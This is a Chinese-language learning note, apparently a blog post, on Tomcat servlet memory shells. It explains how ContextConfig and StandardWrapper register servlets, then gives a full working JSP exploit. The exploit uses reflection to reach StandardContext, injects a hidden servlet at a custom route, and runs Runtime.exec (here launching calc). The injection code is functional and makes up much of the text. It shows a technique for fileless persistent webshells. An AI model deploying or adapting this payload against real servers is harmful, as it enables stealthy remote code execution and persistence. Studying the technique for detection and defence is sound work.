Tomcat-servlet内存马
文章笔记来源:
白日梦组长b站视频https://www.bilibili.com/video/BV1E84y1w77R/?spm_id_from=333.337.search-card.all.click&vd_source=5eaab636aff585a40f16448f4cb3b0f1
流程分析:

之前在分析listener内存马的时候,就在contextconfig里面有一个对传入的xml文件进行操作的函数configureContext,然后我们看下面发现其不仅对listener进行了操作,也对servlet进行了循环调用

然后发现就是创建一个wrapper,把context放到wrapper里面
预加载,正常servlet是在访问的时候才会被创建,预加载可以在访问之前被创建出来

然后给wrapper设立一个名字

然后set了一个类名(这里就可以相当于是set我们的恶意servlet)

相当于web.xml里面的

最后就是把wrapper再放回到context里面

最后还差一步就是加载web.xml里面的

对应的代码:

一个pattern和一个name,刚好对应

然后加载的流程大致就是
1.configureContext加载web.xml
2.然后将servlets保存到StandardWrapper
3.对处理完之后wrapper再放到Context
tips:
“一个 Context 对应于一个 Web 应用,可以包含多个 Wrapper。”
“一个 Wrapper 对应一个 Servlet。负责管理 Servlet”
在这个过程中的最后一步则是加载servlet也就是实例化servlet,在上述分析的过程中并没有这一操作
最后是使用的wrapper的一个setServlet方法来实例化代码
最后的exp(servlet.jsp)
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.IOException" %><%--
Created by IntelliJ IDEA.
User: Le'novo
Date: 2025/2/24
Time: 20:41
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class ServletShell extends HttpServlet{
private String message;
public void init(){
message="hello servlet内存马";
}
public void doGet(HttpServletRequest request,HttpServletResponse response)throws IOException{
Runtime.getRuntime().exec("calc");
}
public void destroy(){
}
}
%>
<%//动态注册servlet
//获取standardcontext
ServletContext servletContext=request.getServletContext();
Field applicationcontextField = servletContext.getClass().getDeclaredField("context");
applicationcontextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationcontextField.get(servletContext);
Field StandardContextField = applicationContext.getClass().getDeclaredField("context");
StandardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextField.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("ServletShell");
wrapper.setServletClass(ServletShell.class.getName());
wrapper.setServlet(new ServletShell());//实例化servlet这个类
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servletShell2","ServletShell");
%>
</body>
</html>
测试流程:
1.访问这个jsp文件(将恶意servlet注册进去)
2.然后访问自定义的路由,就可以成功弹出计算器(执行恶意servlet)


浙公网安备 33010602011771号